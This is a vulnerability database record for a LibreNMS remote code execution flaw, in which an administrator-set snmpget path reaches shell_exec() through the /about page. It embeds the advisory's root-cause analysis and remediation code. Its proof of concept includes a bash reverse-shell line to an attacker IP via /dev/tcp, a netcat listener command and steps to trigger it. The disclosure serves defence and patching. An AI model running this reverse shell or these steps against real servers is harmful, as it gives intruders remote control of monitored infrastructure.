{"id":"CVE-2026-84190","aliases":["CVE-2026-84190","GHSA-jf24-8g2h-2wg7"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS before 26.5.0 Remote Code Execution via AboutController","summary":"LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS versions before 26.5.0 contain a remote code execution vulnerability in the AboutController where the snmpget configuration parameter is passed to shell_exec() without proper validation. An authenticated administrator can modify the snmpget configuration to point to a malicious executable file and trigger code execution by accessing the /about endpoint.","source":"cvelist"},{"lang":"en","text":"# Remote Code Execution via AboutController in LibreNMS\n\n## Summary\n\nA Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.\n\n**Severity:** High (CVSS 7.2)\n**Attack Vector:** Network\n**Privileges Required:** High (Administrator)\n**User Interaction:** None\n**Impact:** Complete system compromise with web server privileges\n\n---\n\n## Details\n\n### Vulnerable Code\n\n**File:** `app/Http/Controllers/AboutController.php`\n**Line:** 85\n\n```php\n'version_netsnmp' => str_replace('version: ', '', \n    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),\n```\n\n### Root Cause\n\nThe AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `&`, `'`, `\"`, `>`, `<`, `(`), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.\n\n### Configuration Access\n\nThe `snmpget` configuration can be modified through the web interface:\n\n- **Endpoint:** `PUT /settings/snmpget`\n- **Controller:** `SettingsController::update()`\n- **Required Privileges:** Administrator\n- **Config Definition:** `resources/definitions/config_definitions.json`\n\n```json\n\"snmpget\": {\n    \"default\": \"/usr/bin/snmpget\",\n    \"type\": \"executable\"\n}\n```\n\n### Validation Analysis\n\nThe `sanitizePath()` function in `DynamicConfigItem.php`:\n\n```php\n// LibreNMS/Util/DynamicConfigItem.php:277-284\nprivate function sanitizePath(string $path): string|false\n{\n    if (preg_match('/[`;#$|&\\'\"><(]/', $path)) {\n        return false;\n    }\n    return realpath($path);\n}\n\n// LibreNMS/Util/DynamicConfigItem.php:107-110\n} elseif ($this->type === 'executable') {\n    $value == $this->sanitizePath($value);\n    return $value !== false && is_file($value) && is_executable($value);\n}\n```\n### Attack Scenarios\n\n| Scenario | Description |\n|----------|-------------|\n| **Insider Threat** | Internal admin creates malicious file → updates config → RCE |\n| **Privilege Escalation** | Attacker with limited access → creates file → full RCE |\n| **Supply Chain** | Malicious package installs binary → admin uses it → RCE |\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Valid administrator credentials for LibreNMS web interface\n- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)\n\n### Proof of Concept - Reverse Shell\n\n#### Step 1: Create Malicious Executable\n\nCreate a reverse shell payload that connects back to the attacker:\n\n```bash\nATTACKER_IP=\"172.16.69.144\"\nATTACKER_PORT=9001\n\nbash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null\n```\n\nSave this as `/tmp/rev_shell.sh` and make it executable:\n```bash\nchmod +x /tmp/rev_shell.sh\n```\n\n#### Step 2: Setup Netcat Listener\n\nOn your attacking machine, start a netcat listener:\n\n```bash\nnc -lvnp 9001\n```\n\n#### Step 3: Update Configuration via Web Interface\n\nLogin to LibreNMS web interface as administrator and navigate to:\n- **Settings** → **External** → **Binaries**\n- Locate **snmpget** configuration\n- Update the value to: `/tmp/rev_shell.sh`\n- Click **Save**\n\n<img width=\"1919\" height=\"848\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3\" />\n\n#### Step 4: Trigger RCE\n\nAccess the `/about` endpoint to execute the malicious binary:\n\n<img width=\"1861\" height=\"957\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b\" />\n\n---\n\n## Impact Summary\n\n| Category | Level | Description |\n|----------|-------|-------------|\n| **Confidentiality** | HIGH | Read config files, database credentials, SSH keys |\n| **Integrity** | HIGH | Create webshells, backdoors, modify code |\n| **Availability** | HIGH | Disrupt services, delete data, stop monitoring |\n| **Scope** | CHANGED | Compromise extends beyond application to system |\n\n### Who Is Impacted\n- LibreNMS installations where attacker has admin credentials AND file system access\n- Organizations using LibreNMS for network monitoring\n- Systems monitored by LibreNMS (lateral movement risk)\n\n\n---\n\n## Remediation\n\nReplace `shell_exec()` with Symfony Process component:\n\n```php\n// BEFORE (vulnerable):\nshell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')\n\n// AFTER (safe):\n$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);\n$process->run();\n```","format":"markdown","source":"ghsa"}],"published":"2026-08-18T21:17:11.000Z","modified":"2026-10-08T16:17:54.627Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":8.7,"rating":"HIGH"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","score":7.2,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","rating":"MEDIUM"}],"cwes":["CWE-77","CWE-78"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"26.5.0","status":"affected"},{"type":"semver","version":"26.5.0","status":"unaffected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"26.5.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-jf24-8g2h-2wg7","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/librenms-before-26.5.0-remote-code-execution-via-aboutcontroller","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms/releases/tag/26.5.0","tags":["web"],"sources":["ghsa"]}],"credits":["tCu0n9"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-09-01T12:12:07.920Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-84190","url":"https://www.cve.org/CVERecord?id=CVE-2026-84190","licence":"CVE Terms of Use","modified":"2026-10-08T15:25:43.401Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-jf24-8g2h-2wg7","url":"https://github.com/advisories/GHSA-jf24-8g2h-2wg7","licence":"CC-BY-4.0","modified":"2026-09-02T03:55:41.206Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-84190","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-84190","licence":"Public domain","modified":"2026-10-08T16:17:54.627Z"}],"updatedAt":"2026-11-25T22:59:35.924Z","epss":{"score":0.00797,"percentile":0.5765,"date":"2026-12-01T12:00:22.000Z"}}